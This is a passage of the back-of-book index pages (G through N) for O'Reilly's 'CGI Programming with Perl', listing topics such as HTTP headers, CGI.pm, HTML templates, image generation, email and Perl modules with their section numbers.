Image::Magick features vs.: 13.5.4. Image Processing
installing: 13.3.1. Installation
GDBM files: 10.2. DBM Files
general errors, creating static HTML document for: 3.4.1. Check the Client Browser
GET requests: 2.3.1.2. GET
11. Maintaining State
300-level status responses to: 3.3.1.3. Specifying status codes
303 See Other status header and: 3.3.1.3. Specifying status codes
mailing list form (example): 4.1. Sending Data to the Server
options: 4.1. Sending Data to the Server
parameters, visibility in URL: 8.2.5. Trusting the Browser
STDIN, problems with reading from: 3.1.1.1. STDIN
get subroutine: 14.5. CGI Gateway to XML Middleware
Getopt::Long module: 12.3. Inverted Index Search
GIF images: 3.4.1. Check the Client Browser
13.1.1. GIF
converting from PNG images to: 13.5.2. Converting PNGs to GIFs or JPEGs
GIFgraph: 13.4.2. GD::Graph
PNG features vs.: 13.1.2. PNG
glob notation, avoiding use of: 17.1.8. Avoid the Shell
global directories for data, configuration, and template files: 16.1.2. Use Directories to Organize Your Projects
global variables
declarations, strict mode and: 15.2.1. Use strict
declaring and initializing: 10.4.2.2. Address book CGI script
Embperl module
defining for HTML templates: 6.4.4. Global Variables
undefining at end of HTTP request: 6.4.2.2. Variable scope
localizing: 5.3.3. Standard HTML Elements
@RECORDS AND@RELATED_RECORDS: 14.5. CGI Gateway to XML Middleware
reducing number of with strict pragma: 1.2.1. Sample CGI
globbing wildcard characters: 12.1. Searching One by One
grammar in names, guidelines for: 16.2. Coding Guidelines
graphic images, creating: 13. Creating Graphics on the Fly
image data, outputting: 13.2. Outputting Image Data
Image::Magick module, using: 13.5. PerlMagick
LZW compression, enabling: 13.5.1.2. Enabling LZW compression
requirements: 13.5.1.1. Requirements
Graphics Interchange Format (see GIF images)
graphics toolkit, Tcl scripting language: 15.3.5.2. ptkdb
graphs
GD modules, producing with: 13.4.2. GD::Graph
GD::Graph modules for creating: 13.4.2. GD::Graph
generated by loads.cgi (sample): 13.3.2. Using GD
three-dimensional, generating with GD::Graph3D: 13.4.3. GD::Graph3D
Greenwich Mean Time (see DATE_GMT variable)
grep command: 12.2. Searching One by One, Take Two
filtering out binary files with: 12.2. Searching One by One, Take Two
system, using in Perl: 17.1.8. Avoid the Shell
grep_search1.cgi script: 12.1. Searching One by One
grep_search2.cgi script (example): 12.2. Searching One by One, Take Two
growth, planning for: 16.1.1. Plan for Future Growth
gzip encoding: 2.6.3. Encoding

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: H

handlers
Apache/Perl, not implementing: 17.3.1. Installation and Configuration
response handlers: 17.3. mod_perl
handles (see file handles)
hard disk (client user), storing cookies on: 11.3.1. Setting Cookies
hash tables
DBM files and: 10.2. DBM Files
tying to DBM file: 10.2. DBM Files
untying from database files: 10.2.1. DB_File
hashes
command-line options, storing in: 12.3. Inverted Index Search
of data or hash reference, subroutines returning: 4.3. Decoding Form Input
elements, interpreting as attributes for HTML elements: 5.3.3. Standard HTML Elements
hash algorithms, using to generate digests: 8.3. Encryption
HTML::Template and: 6.3.1.1. Loops
index file, binding to: 12.3. Inverted Index Search
JavaScript, references to: 5.3.2.1. start_html
meta tags, reference to: 5.3.2.1. start_html
read/write basis for accessing: 10.2.1. DB_File
HEAD requests: 2.3.1.3. HEAD
header method
disabling caching with: 11.3.2. Testing for Cookies
locating: 5.1.3. Standard and Object-Oriented Syntax
headers: 3.3.1.3. Specifying status codes
(see also status headers)
CGI programs
generating partial headers: 3.3.1. Partial Headers
requesting no caching: 3.4.3. Restricting Image Hijacking
email
adding extra to: 9.4.1. Command-Line Options
fields: 9.3. Structure of Internet Email
environment variables for: 3.2.1. CGI Environment Variables
HTML, CGI application errors and: 15.1.4. "Malformed" Header
HTML tables, rows consisting of ... cells: 6.4.3.1. Tables
HTTP: 2.2.1. The Request and Response Cycle
2.2.2. HTTP Headers
2.4. Server Responses
CGI scripts, declaring type of document output: 1.2.1. Sample CGI
Cookie header: 11.3.1. Setting Cookies
cookie header lines: 11. Maintaining State
CRLF requirement: 3.3.1.1. Outputting documents
environment variables, information on server and client: 3.2. Environment Variables
error handling and: 5.5.3. Error Subroutines
extensions: 2.3.2.8. Cookies
fields: 2.2.2. HTTP Headers
2.3.2. Request Header Field Lines
formatting information in: 1.2. Introduction to CGI
generating with CGI.pm module: 5.3. Generating Output with CGI.pm
header and redirect methods, returning with: 5.3.1. Controlling HTTP Headers with CGI.pm
media types, listing preferred: 2.6.1. Media Type
request line: 2.3.1. The Request Line
responses: 2.4.2. Server Headers
separating from message body: 3.3.1.1. Outputting documents
Set-Cookie: 11.3.1. Setting Cookies
information in, web server response: 1.2. Introduction to CGI
Internet email messages: 9.3. Structure of Internet Email
malformed, CGI script errors: 15.1.4. "Malformed" Header
here documents: 5.4.2. Here Documents
print statements: 1.2.1. Sample CGI
hexadecimal numbers
digests: 8.3.1. MD5
HTTP characters, replacing: 4.1. Sending Data to the Server
URL character encoding: 2.1.3. URL Encoding
URL-encoded characters, decoding: 4.3. Decoding Form Input
hidden fields: 4.2.3.3. Hidden fields
data, security risks in trusting: 8.2.5. Trusting the Browser
feedback forms, email addresses in: 9.1.2. False Identities
NAME and VALUE attributes in: 4.2.3.3. Hidden fields
session information, storing in: 11.2. Hidden Fields
tainted data in email addresses: 9.1.2. False Identities
unique identifiers, storing in: 11. Maintaining State
hit counter (see access counters)
home pages for projects: A.5. Project Home Pages
Host field: 2.3.2.1. Host
hosts: 2.1.1. Elements of a URL
in email addresses: 9.2.1. Validating Syntax
including name in absolute URLs: 2.1.2. Absolute and Relative URLs
ommitting in URLs: 2.1.2. Absolute and Relative URLs
HTML (Hypertext Markup Language
forms (see forms)
HTML pages
headers and footers, maintaining across pages: 11.2. Hidden Fields
link for JPEG or PNG images: 3.4.1. Check the Client Browser
LWP module and: 14.2. An Introduction to XML
static, forwarding user to: 3.3.1.2. Forwarding to another URL
viewing Perl source code in: 15.3.4. Dumping Variables
HTML tag: 5.2.2.3. Index queries
HTML tags: 4.2.2. The <FORM> Tag
Embperl module and: 6.4.2. Syntax
formatting HTML::Template commands as: 6.3.1. Syntax
forms: 4.2. Form Tags
onChange handler, adding to: 7.2.1.1. Validating elements
rules for basic: 5.3.3. Standard HTML Elements
stripping from index material: 12.3. Inverted Index Search
tag: 5.3.2.2. end_html
HTML templates: 6. HTML Templates
env.tmpl file: 6.3.1.1. Loops
global variables, defining with Embperl: 6.4.4. Global Variables
reasons for using: 6.1. Reasons for Using Templates
HTML::Embperl module: 6.4. Embperl
configuration: 6.4.1. Configuration
example: 6.4.5. Example
Execute function: 6.4.1.1. Execute
global variables, defining for templates: 6.4.4. Global Variables
meta-commands: 6.4.2.3. Meta-commands
tables, automatic construction of: 6.4.3. HTML Logic
website: 6.4.6. Summary
HTML::Mason module: 6.5. Mason
component approach: 6.5.1. A Component Approach
HTML::Parser module: 11.1. Query Strings and Extra Path Information
HTML::Template module: 6.3. HTML::Template
commands: 6.3.1. Syntax
summary of: 6.3.1. Syntax
conditionals, creating: 6.3.1.2. Conditionals
CPAN information on: 6.3.2. Summary
loops, creating: 6.3.1.1. Loops
Mason module component approach vs.: 6.5.1. A Component Approach
param method: 6.3.1. Syntax
htpasswd utility: 2.3.2.4. Authorization
HTTP-Accept header
Accept method, evaluating content type for: 5.2.1.1. Accept
HTTP (Hypertext Transfer Protocol): 2. The Hypertext Transport Protocol
authorization: 2.3.2.4. Authorization
content negotiation: 2.6. Content Negotiation
content type headers, malformed: 15.1.4. "Malformed" Header
file uploads, handling with: 5.2.4. File Uploads with CGI.pm
header/body message structure: 2.2.1. The Request and Response Cycle
headers: 2.2.2. HTTP Headers
2.2.2. HTTP Headers
(see also headers)
generating with header method: 5.3.1.6. Other headers
request line: 2.3.1. The Request Line
HTTP Media Types specification: A.4. Other Specifications
messages, Internet email messages vs.: 9.3. Structure of Internet Email
requests
generating by submitting forms: 4.2.2. The <FORM> Tag
global variables, undefining in Embperl: 6.4.2.2. Variable scope
requests and responses: 2.2.1. The Request and Response Cycle
response headers, server generation of: 3.3. CGI Output
responses: 2.4. Server Responses
server responses
proxies, using for: 2.5. Proxies
statelessness of: 11. Maintaining State
status codes for errors: 5.2.4. File Uploads with CGI.pm
transaction model: 11. Maintaining State
URL characters, encoding: 4.1. Sending Data to the Server
URLs: 2.1. URLs
versions, 1.1 and 1.0: 2.2.3. HTTP 1.1 and HTTP 1.0
WWW Consortium website for: 2. The Hypertext Transport Protocol
XML data, ease of transporting: 14.2. An Introduction to XML
http method (CGI.pm), returning HTTP_environment variables with: 5.2.1.2. http
HTTP requests
creating and sending from within Perl with LWP module: 8.2.5. Trusting the Browser
static HTML page, handling with CGI script
unique identifiers: 11.1. Query Strings and Extra Path Information
HTTP_COOKIE environment variable: 11.3.1. Setting Cookies
httpd.conf, DirectoryIndex and AddType directives: 6.2.1. Configuration
HTTP_HOST environment variable: 5.2.1.7. virtual_host
HTTP_REFERER variable: 8.2.5. Trusting the Browser
11.3.2. Testing for Cookies
https: 2.1.1. Elements of a URL
connections using SSL or TLS: 8.3. Encryption
HTTPS environment variables: 3.2.1. CGI Environment Variables
5.2.1.3. https
Hypertext Transfer Protocol (see HTTP)
hyphens (-), attribute names: 5.3.3. Standard HTML Elements

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: I

identifying clients: 2.5.1. Identifying Clients
identifying users, script for: 3.4.2. User Authentication and Identification
identity encoding: 2.6.3. Encoding
if block (CGI script), describing actions of: 10.4.2.2. Address book CGI script
if, elif command: 6.2.2. Format
image buttons: 4.2.3.8. Image buttons
supporting as submit buttons: 5.2.2.4. Supporting image buttons as submit buttons
image formats (new and uncommon), browser specification of: 2.6.1. Media Type
image_fetch.cgi script (example): 3.4.1. Check the Client Browser
image/jpeg content type: 2.6.1. Media Type
13.5.4. Image Processing
Image::Magick module: 13.5. PerlMagick
image file formats, working with
PDF and PostScript: 13.5.3. PDF and PostScript Support
image processing with: 13.5.4. Image Processing
ImageMagick library
installation: 13.5.1. Installation
operations supported by: 13.5. PerlMagick
LZW compression, enabling: 13.5.1.2. Enabling LZW compression
requirements for use: 13.5.1.1. Requirements
images
data, outputting: 13.2. Outputting Image Data
dynamic images outputting: 13.2.2. Including Dynamic Images in HTML
random images, CGI script returning: 13.2.1. An Example
file formats: 13.1. File Formats
GIF: 13.1.1. GIF
Image::Magick module, working with: 13.5.1.2. Enabling LZW compression
JPEG: 13.1.3. JPEG
PDF: 13.1.4. PDF
PNG: 13.1.1.1. The LZW patent
PostScript, Image::Magick and: 13.5.3. PDF and PostScript Support
hijacking of, restricting (CGI script): 3.4.3. Restricting Image Hijacking
Image::Magick module, processing with: 13.5.4. Image Processing
include command: 6.2.2. Format
6.2.6. Executing CGI Programs
6.3.1.3. Including other files
increments for image file printing, determining: 3.4.1. Check the Client Browser
indentation
coding style guide, covering in: 16.2. Coding Guidelines
HTML here documents: 5.4.2. Here Documents
unindent subroutine: 5.4.2. Here Documents
index queries: 5.2.2.3. Index queries
INDEX_DB constant: 12.3.1. Search Application
indexes: 2.1.1. Elements of a URL
2.1.1. Elements of a URL
(see also query strings)
-cache option: 12.3. Inverted Index Search
CGI application to search: 12.3.1. Search Application
current column and row, using as array indices: 6.4.3.1. Tables
directory, specifying for files to be indexed: 12.3. Inverted Index Search
file, binding with %index hash: 12.3.1. Search Application
inverted index search: 12.3. Inverted Index Search
lowercase (case-insensitive), specifying: 12.3. Inverted Index Search
stripping HTML tags from material: 12.3. Inverted Index Search
numbers, skipping: 12.3. Inverted Index Search
stop words, specifying file containing: 12.3. Inverted Index Search
word suffixes, removing: 12.3. Inverted Index Search
words, checking for previous occurrence of: 12.3. Inverted Index Search
index.html
getting full path with PATH_TRANSLATED variable: 11.1. Query Strings and Extra Path Information
information servers: 7.3. Data Exchange
input
handling with CGI.pm module: 5.2. Handling Input with CGI.pm
from users
removing taint from: 8.4.3. How Taintedness Is Removed
security and: 8.2. Handling User Input
shell and: 8.2.2. User Input and the Shell
tainted data, checking for: 8.4.1. How Taint Works
input elements (forms), Embperl creation of: 6.4.3.3. Form input elements
input, forms
decoding: 4.3. Decoding Form Input
input record separator (default), Perl: 12.3. Inverted Index Search
input validation, forms: 7.2.1. Input Validation
CGI script, re-validating client data with: 7.2.1.4. Validating twice
example: 7.2.1.3. Validation example
formLib.js file: 7.2.1.3. Validation example
input_validation.html file: 7.2.1.3. Validation example
submits: 7.2.1.2. Validating submits
validating elements: 7.2.1.1. Validating elements
inserting data into databases: 10.3.2. Inserting Data
installation
Apache server, default paths: 1.4. Web Server Configuration
FastCGI: 17.2.1. Installing FastCGI
GD module: 13.3.1. Installation
GD::Graph3d, documentation and additional graph types: 13.4.3. GD::Graph3D
ImageMagick library: 13.5.1. Installation
mod_perl: 17.3.1. Installation and Configuration
modules, CPAN: B.1.1. Installing Modules
interactive debuggers: 15.3. Debugging Tools
Perl, invoking with -d flag: 15.3.5.1. The Perl debugger
interface for outputting HTML, CGI.pm module: 5.1.2. The Kitchen Sink
internal redirect: 3.3.1.2. Forwarding to another URL
internationalization: 2.6.2. Internationalization
Internet email: 11.2. Hidden Fields
(see also email)
sending with Perl mailers: 9.6. Perl Mailers
sendmail, use of: 9.4. sendmail
similarity to HTTP message formats: 2.2.2. HTTP Headers
structure of: 9.3. Structure of Internet Email
Internet, history of: 1.1. History
Internet Protocol (see IP)
interpreters
delays in executing Perl CGI applications: 17. Efficiency and Optimization
multiple, referencing correct: 15.1.2. The Pound-Bang
perl interpreter, embedding inside web server: 1.3.2. Alternatives to CGI
pound-bang (#!) line and: 15.1.2. The Pound-Bang
interprocess communication (IPC).: 14.1. Communicating with Other Servers
invalid HTTP content type headers: 15.1.4. "Malformed" Header
inverted index: 12.3. Inverted Index Search
invoking CGI scripts: 1.2.2. Invoking CGI Scripts
IO::File module: 10.1.3.1. Anonymous temporary files
IO::Socket module: 14.1.2. IO::Socket
IP (Internet Protocol)
addresses
hosts, identifying: 2.1.1. Elements of a URL
hosts, identifying socket in: 14.1.1. Sockets
multiple domain names mapped to single: 2.3.2.1. Host
remote host, obtaining from environment variables: 1.2.1. Sample CGI
information, displaying with SSI: 6.2.3. Environment Variables
iPlanet Enterprise Server, buffering output: 3.1.1.2. STDOUT
3.3.2. Complete (Non-Parsed) Headers
ISO Latin 1 character set, URL encoding: 2.1.3. URL Encoding

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: J

Java applets, talking to CGI programs: 14.2. An Introduction to XML
Java servlets, CGI vs.: 1.3.2. Alternatives to CGI
JavaScript: 7. JavaScript
bookmarklets: 7.4. Bookmarklets
CGI scripts, using with: 7.4.2. Bookmarklets and CGI
comments.cgi script, calling: 7.4.2. Bookmarklets and CGI
creating (example): 7.4.1. Bookmarklet Basics
Netscape Communicator, working with: 7.4.1. Bookmarklet Basics
web page for: 7.4.2. Bookmarklets and CGI
browser compatibility, problems with: 7.1.2. Compatibility
data exchange: 7.3. Data Exchange
online music browser (example): 7.3.2. Example
WDDX: 7.3.1. WDDX
forms, improving: 7.2. Forms
functions to interpret WDDX objects: 7.3.2. Example
HTML documents: 5.3.2.1. start_html
JScript vs.: 7.1.1. History
JavaScript handlers
onCheck attribute (checkboxes): 4.2.3.4. Checkboxes
onClick attribute
image buttons: 4.2.3.8. Image buttons
plain buttons: 4.2.3.9. Plain buttons
reset buttons: 4.2.3.7. Reset buttons
submit buttons: 4.2.3.6. Submit buttons
onSubmit attribute: 4.2.2. The <FORM> Tag
4.2.3.6. Submit buttons
text fields (onFocus, onBlur, and onChange): 4.2.3.1. Text fields
JavaServer Pages (JSP): 1.3.2. Alternatives to CGI
JFIF (JPEG File Interchange Format) (see JPEG images)
JPEG images: 3.4.1. Check the Client Browser
13.1.3. JPEG
converting PNGs to: 13.5.2. Converting PNGs to GIFs or JPEGs
linking to HTML pages: 3.4.1. Check the Client Browser
lossy compression, use in: 13.1.3. JPEG
JScript: 7.1.1. History

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: K

key-value pairs
joining with ampersand ( & ): 4.1. Sending Data to the Server
MLDBM module and: 10.2.2. MLDBM
kill function: 15.2.3. Is It Open?

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: L

last date modified
Last-modified field: 2.4.2.6. Last-Modified
web page, displaying with SSI: 6.2. Server Side Includes
LAST_MODIFIED variable: 6.2.3. Environment Variables
in files including other files: 6.2.5. Including Boilerplates
length, HTTP message content: 2.3.2.2. Content-Length
2.4.2.2. Content-Length
lexical variables
in Embperl module: 6.4.2.2. Variable scope
mod_perl, problems with: 17.3.2. mod_perl Considerations
libpng, using with gd: 13.3.1. Installation
libraries, specifying Perl with use statement: 10.4.1.1. Connecting to DBI
libwww-perl (see LWP)
line and point charts combination, creating with GD::Graph::linespoints module: 13.4.2. GD::Graph
line charts
creating with GD::Graph::lines module: 13.4.2. GD::Graph
three-dimensional, creating with GD::Graph::lines3d module: 13.4.3. GD::Graph3D
line endings: 3.4.1. Check the Client Browser
(see also end-of-line characters; newlines)
CGI scripts, not matching current system: 15.1.3. Line Endings
differences in operating systems: 3.3.1.1. Outputting documents
newlines end of line character, binmode and: 3.4.1. Check the Client Browser
links
appending query strings containing session identifier to: 11.2. Hidden Fields
HTML documents
replacing: 11.1. Query Strings and Extra Path Information
updating another document with: 5.3.1.4. Specifying an alternative target
symbolic links, security risks with: 1.4.1.1. Configuring by directory
list context, scalar context vs.: 2.4.2.4. Date
lists
choices for users: 4.2.4. The <SELECT> Tag
elements: 6.4.3.2. List elements
empty lists, use of: 15.2.1. Use strict
printing multiple items in: 5.3.3. Standard HTML Elements
user input, allowed: 8.2.3. Security Strategies
loads.cgi script, plotting average system loads: 13.3.2. Using GD
local function: 5.3.3. Standard HTML Elements
17.1.3. Localize Variables with my
local processes as clients: 14.1. Communicating with Other Servers
local variables
bracket pair enclosing in Embperl: 6.4.2.1. Embperl code blocks
declarations, strict mode and: 15.2.1. Use strict
localizing variables: 17.1.3. Localize Variables with my
locating perl, Unix system: 15.1.2. The Pound-Bang
Location header: 2.4.2.7. Location
300-level status responses and: 3.3.1.3. Specifying status codes
redirect method, using instead of: 5.3.1.5. Redirection
redirecting requests: 3.3.1.2. Forwarding to another URL
locking files: 6.4.5.1. Embperl handler
10.1.1. Locking
15.2.5. File Locking
flock command, using: 10.1.1.1. flock
hash files: 10.2.1. DB_File
manual lock files: 10.1.1.2. Manual lock files
logins
401 status code responses, asking for: 3.3.1.3. Specifying status codes
resources, restricting with: 2.4.2.10. WWW-Authenticate
restricted areas (websites), accessing with: 2.3.2.4. Authorization
loops
creating with HTML::Template: 6.3.1.1. Loops
parameters as conditions: 6.3.1.2. Conditionals
lossless data compression: 13.1.1. GIF
lossy compression algorithm, use in JPEG format: 13.1.3. JPEG
lowercase index, creating: 12.3. Inverted Index Search
LWP module: 8.2.5. Trusting the Browser
14.1.3. LWP
14.5. CGI Gateway to XML Middleware
LWP::Simple module: 14.1.3. LWP
14.5. CGI Gateway to XML Middleware
get subroutine: 14.5. CGI Gateway to XML Middleware
LZW compression algorithm: 13.1.1. GIF

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: M

machine-readable Web language: 14.2. An Introduction to XML
mail and mailx programs: 9.5. mailx and mail
Mail::Mailer module, using with: 9.6. Perl Mailers
mail queue: 9.4.2. Mail Queue
mail transport agents (MTAs): 9.4. sendmail
mailers, shells and: 9.1.1. Mailers and Shells
Mail::Mailer module: 9.6. Perl Mailers
maintaining state: 11. Maintaining State
client-side cookies: 11.3. Client-Side Cookies
hidden fields: 11.2. Hidden Fields
query strings and extra path information: 11.1. Query Strings and Extra Path Information
techniques, summary of: 11. Maintaining State
maintenance page, DBI address book (example): 10.4.2.2. Address book CGI script
manual installation, modules: B.1.1. Installing Modules
manual lock files, creating: 10.1.1.2. Manual lock files
manually constructed URLs, passing parameters without equal sign (=): 4.3. Decoding Form Input
Mason module: 6.5. Mason
MAXLENGTH attribute (text fields): 4.2.3.1. Text fields
MD5 hash algorithm: 8.3. Encryption
8.3.1. MD5
11.1. Query Strings and Extra Path Information
media types: 1.2. Introduction to CGI
Accept header, checking for: 13.5.2. Converting PNGs to GIFs or JPEGs
application/x-www-form-urlencoded: 4.1. Sending Data to the Server
checking client browser for supported: 3.4.1. Check the Client Browser
content negotiation and: 2.6. Content Negotiation
encoding HTTP requests, specifying with ENCTYPE attribute: 4.2.2. The <FORM> Tag
forms, multipart/form-data: 4.1. Sending Data to the Server
header method, specifying with: 5.3.1.1. Media type
HTTP Media Types specification: A.4. Other Specifications
JPEG files, differing from file extension: 13.2.1. An Example
registered for web (IANA registry): 2.4.2.3. Content-Type
memory cache, DB_File: 12.3. Inverted Index Search
memory management, problems with symbol aliases: 5.1.3. Standard and Object-Oriented Syntax
menus: 4.2.4. The <SELECT> Tag
message digests
entity tags and: 2.4.2.5. ETag
MD5 hash algorithm: 8.3.1. MD5
SHA-1, producing with: 8.3.2. SHA-1
messages, errors (see error messages under errors)
meta-commands, HTML::Embperl module: 6.4.2.1. Embperl code blocks
6.4.2.3. Meta-commands
meta-information (HTTP request/response headers): 2.2.1. The Request and Response Cycle
meta tags, reference to hash containing: 5.3.2.1. start_html
METHOD attribute: 4.2.2. The <FORM> Tag
methods
CGI.pm
environment information: 5.2.1. Environment Information
for HTML form elements: 5.3.4. Form Elements
functions vs. in Perl: 5.1.3. Standard and Object-Oriented Syntax
HTTP requests
GET: 2.3.1.2. GET
HEAD: 2.3.1.3. HEAD
not supported by requested resource: 3.3.1.3. Specifying status codes
POST: 2.3.1.4. POST
PUT and Delete: 2.3.1.1. PUT and DELETE
methods (CGI.pm)
capitalization in: 5.3.3. Standard HTML Elements
methods (HTTP requests): 2.3.1. The Request Line
Microsoft
Excel, CSV format in: 10.1.5. DBD::CSV
Internet Explorer
bookmarklets, not supporting: 7.4.1.1. Compatibility
JScript implementation of JavaScript: 7.1.1. History
Mozilla, claiming as nickname: 2.3.2.5. User-Agent
middleware
CGI
communicating with other servers: 14.1. Communicating with Other Servers
communicating with other servers sockets: 14.1.1. Sockets
XML, CGI gateway to: 14.5. CGI Gateway to XML Middleware
middleware (CGI): 14. Middleware and XML
MIME (Multipurpose Internet Mail Extensions)
Content-type of HTTP responses vs.: 2.4.2.3. Content-Type
headers, HTTP vs.: 2.2.2. HTTP Headers
mixed charts
commute_mixed.cgi script: 13.4.2. GD::Graph
creating with GD::Graph::mixed: 13.4.2. GD::Graph
MLDBM module: 10.2.2. MLDBM
using with DB_File to lock DBM file: 10.2.2. MLDBM
modification time, files
calculating with Schwartzian Transform: 12.3.1. Search Application
comparing for: 12.3.1. Search Application
HTML documents, displaying with SSI: 6.2.3. Environment Variables
mod_perl: 17.3. mod_perl
Apache web server, use with: 1.3.2. Alternatives to CGI
guide, accessing online: 17.3.2. mod_perl Considerations
installation and configuration: 17.3.1. Installation and Configuration
issues with using: 17.3.2. mod_perl Considerations
Mason module, requirement for: 6.5. Mason
module supporting ASP with: 1.3.2. Alternatives to CGI
strict pragma, required use of: 1.2.1. Sample CGI
modules: 10.1.1.1. flock
(see also individual module name entries)
Apache::PerlRun: 17.3.2. mod_perl Considerations
Apache::Registry: 17.3. mod_perl
Benchmark: 8.4.4. Why Use Taint Mode?
benchmarking: 17.1.2. Benchmark Modules, Too
BerkeleyDB: 10.2.1. DB_File
capitalization of, standardizing: 16.2. Coding Guidelines
CGI, lightweight: 5.1.2. The Kitchen Sink
5.1.2. The Kitchen Sink
CGIBook::UserTracker: 11.1. Query Strings and Extra Path Information
CGI.pm: 5. CGI.pm
file uploads, disabling: 5.1.1. Denial of Service Attacks
functions of: 5.1.2. The Kitchen Sink
input, handling with: 5.2. Handling Input with CGI.pm
standard and object-oriented syntax: 5.1.3. Standard and Object-Oriented Syntax
constant module: 17.3.2. mod_perl Considerations
Data::Dumper: 15.3.4. Dumping Variables
DBD::CSV: 10.1.5. DBD::CSV
16.1.6. Separating Storage from Your Primary Code
DB_File: 10.2.1. DB_File
DBI::CSV: 10.1.5. DBD::CSV
Devel::SawAmpersand: 17.1.10. Regular Expressions
Digest::MD5: 8.3.1. MD5
exporting symbols: 5.1.3. Standard and Object-Oriented Syntax
external, delaying loading with autouse: 17.1.7. autouse
Fcntl module: 10.1.1.1. flock
access flags: 10.2.1. DB_File
File::Basename: 12.3. Inverted Index Search
File::Find: 12.3. Inverted Index Search
GD module
additional modules, working with: 13.4. Additional GD Modules
generating PNGs: 13.3. Generating PNGs with GD
Getopt::Long: 12.3. Inverted Index Search
HTML::Embperl: 6.4. Embperl
HTML::Mason: 6.5. Mason
HTML::Parser: 11.1. Query Strings and Extra Path Information
HTML::Template: 6.3. HTML::Template
Image::Magick module: 13.5. PerlMagick
installing manually: B.1.1. Installing Modules
IO::File module: 10.1.3.1. Anonymous temporary files
IO::Socket module: 14.1.2. IO::Socket
LWP module: 8.2.5. Trusting the Browser
Mail::Mailer module: 9.6. Perl Mailers
MLDBM module: 10.2.2. MLDBM
mod_perl for Apache web server: 1.3.2. Alternatives to CGI
mod_unique_id: 11.1. Query Strings and Extra Path Information
Net::SMTP module: 9.6. Perl Mailers
Perl: B. Perl Modules
creating your own: 5.5.4. Custom Module
open source: 1.3.1. Why Perl?
PerlMagick (see Image\\Magick module)
POSIX, generating temporary filenames: 10.1.3.2. Named temporary files
reading identifiers and parsing CGI script output: 11.1. Query Strings and Extra Path Information
SelfLoader: 17.1.6. SelfLoader
Tk.pm: 15.3.5.2. ptkdb
URI::URL: 2.1.3. URL Encoding
WDDX.pm: 7.3.1. WDDX
example: 7.3.2. Example
XML::Grove: 14.5. CGI Gateway to XML Middleware
XML::Parser module: 14.3. Document Type Definition
Mozilla (browser nickname): 2.3.2.5. User-Agent
multipart/form-data: 2.3.2.3. Content-Type
4.1. Sending Data to the Server
5.2.4. File Uploads with CGI.pm
requests, transfer errors in: 5.2.4. File Uploads with CGI.pm
MULTIPLE attribute ( TAG): 4.2.4. The <SELECT> Tag
multiple HTTP headers, handling with header method: 5.3.1.1. Media type
multiple interpreters, references to: 15.1.2. The Pound-Bang
multiple values (form elements), handling in CGI scripts: 4.3. Decoding Form Input
music_browser.cgi (example): 7.3.2. Example
music_browser.tmpl file (example): 7.3.2. Example
my function, localizing variables with: 17.1.3. Localize Variables with my

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: N

name and version (web servers): 2.4.2.8. Server
NAME attribute: 4.2.3. The <INPUT> Tag
6.3.1. Syntax
6.3.1.2. Conditionals
checkboxes: 4.2.3.4. Checkboxes
hidden fields: 4.2.3.3. Hidden fields
plain buttons: 4.2.3.9. Plain buttons
reset buttons: 4.2.3.7. Reset buttons
name-value pairs
cookies: 11.3.1. Setting Cookies
form paramaters, entering as: 15.3.3. Running Scripts from the Command Line
header field lines (HTTP responses): 2.4. Server Responses
HTTP headers: 2.2.2. HTTP Headers
5.3.1.1. Media type
joining with equal sign (=): 4.1. Sending Data to the Server
MLDBM module and: 10.2.2. MLDBM
query strings: 2.1.1. Elements of a URL
separating with ampersands ( & ): 4.3. Decoding Form Input
named temporary files: 10.1.3.2. Named temporary files
names
fully qualified, variables: 15.2.1. Use strict
grammar, developing guidelines for: 16.2. Coding Guidelines
image buttons, translating to submit button names: 5.2.2.4. Supporting image buttons as submit buttons
temporary files, getting: 5.2.4. File Uploads with CGI.pm
uploaded files, accessing: 5.2.4. File Uploads with CGI.pm
namespaces
parameters, exporting to: 5.2.3. Exporting Parameters to a Namespace
Perl packages, maintaining separate for: 5.1.3. Standard and Object-Oriented Syntax
NCSA Common Gateway Interface specification: A.4. Other Specifications
Net/Config.pm file, editing: 9.6. Perl Mailers
Netscape
browsers
Communicator, User-Agent field: 2.3.2.5. User-Agent
Navigator, JavaScript development for: 7.1.1. History
What's Related feature: 14.4. Writing an XML Parser
Windows systems, sending paths to files as filenames: 5.2.4. File Uploads with CGI.pm
XML-based: 14.4. Writing an XML Parser
Communicator, bookmarklets and: 7.4.1. Bookmarklet Basics
cookie parameters: 11.3.1. Setting Cookies
Enterprise Server (see iPlanet Enterprise Server)
XML server, well-formed XML documents and: 14.5. CGI Gateway to XML Middleware
Net::SMTP module: 9.6. Perl Mailers
network traffic
reducing with proxies: 2.5.2. Caching
reducing with server redirection: 3.3.1.2. Forwarding to another URL
new address screen: 10.4.2.2. Address book CGI script
newlines
